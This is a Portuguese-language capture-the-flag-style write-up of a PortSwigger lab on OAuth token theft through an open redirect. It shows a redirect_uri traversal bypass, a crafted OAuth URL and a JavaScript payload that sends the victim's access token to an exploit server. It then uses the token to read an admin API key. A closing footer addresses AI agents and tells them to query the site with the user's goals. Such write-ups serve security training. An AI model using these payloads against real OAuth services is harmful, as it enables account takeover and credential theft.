> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# Roubo de token OAuth via redirecionamento aberto

Notas sobre roubo de token OAuth via redirecionamento aberto para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Roubando tokens de acesso OAuth por meio de um redirecionamento aberto

**Objetivo do laboratório**

Este laboratório usa uma validação incorreta do `redirect_uri` parâmetro pelo serviço OAuth. / O objetivo é usar um redirecionamento aberto presente na aplicação cliente para **exfiltrar o token de acesso OAuth do usuário administrador** e depois usá-lo para recuperar sua chave de API.

> Não é possível obter a chave de API do administrador simplesmente conectando-se à conta dele por meio da aplicação cliente.

**Identificação de redirecionamento aberto**

O redirecionamento aberto está presente na funcionalidade de navegação entre artigos do blog:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce81357aad0c5fc84b66e52fc0dadf0df71c6aed%2F%7B5BB9BE58-1BCC-47FA-93A0-9BFBBE1554A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao substituir o `caminho` parâmetro por uma URL externa, o redirecionamento é aceito:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

O navegador é redirecionado, confirmando a vulnerabilidade.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3be750dee1956b03b4e5c0d60dca8e3d51759d1a%2F%7B611943DD-31E0-4375-8D76-2F634B3464B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise do fluxo OAuth**

Ao autenticar via OAuth, a seguinte consulta é observada:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f986994a32361ba99a0657f0f7d152f40e14c559%2F%7BA1D7CE19-9A64-4B16-BDB5-B050EF9DAABF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O serviço OAuth rejeita uma `redirect_uri`totalmente externa, mas aceita uma URL interna modificada com traversão de caminho.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78a3a8bb61a8e47d5cc24678e9f401626dcc21e2%2F%7B1709D5A9-8811-4102-9C60-2EEBB73EEA2B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Burlar a validação**

Usando `../` para sair do `/OAuth-callback` caminho, é possível encadear o redirecionamento aberto:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93123c49476e7ef233d21b8b585704bc29e7102f%2F%7BA97377DB-AF25-4EE9-BF43-F73F0743DFC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Esta URL é aceita `redirect_uri` pelo provedor OAuth.

**Construção de URL OAuth maliciosa**

A URL final enviada à vítima é:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Problema com fragmento (`#`)**

O fragmento da URL é **nunca enviado ao servidor** durante uma solicitação HTTP.<br>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e40633e80cbce7be2b8b127fce282d88acff9b7%2F%7BB7692BF9-D9CC-4F02-8CA6-C3FC24537514%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

JavaScript do lado do cliente é necessário para capturar o token.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6c2a4fb80b94a986aa2321ce0742c40a9ae7cfb%2F%7B3DC13C12-FCE9-4AA0-9AB6-043EC4D8F0AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Captura de token com JavaScript**

O script a seguir é hospedado no Servidor Exploit e enviado ao administrador:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86e60cd754ab9f6af50efde036b30ac651ce01ee%2F%7B26FECF5A-61EB-41B4-B249-EDD1FA92A71D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Se nenhum fragmento estiver presente, a vítima é redirecionada para o OAuth.
* Se o fragmento existir, o token é transmitido ao servidor por meio da string de consulta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95ce114dd887567202d8f9937b9bc092afcaafc6%2F%7B43ED8A36-E2E5-46F7-A7D2-C7B835386522%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exploração do token OAuth**

O token roubado permite consultar o `/me` endpoint do provedor OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8764fae02838301aa330c5bbbd65e45d6ae3e4c%2F%7BF972478F-7A0A-478D-9428-B4B66E4BFFDA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A resposta contém as informações da conta do administrador, incluindo a chave de API:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a496d9222856f3f25972a4c8ff09c9225c15103%2F%7B2F03A321-24AF-4BD8-A322-EA3FEBB70F94%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
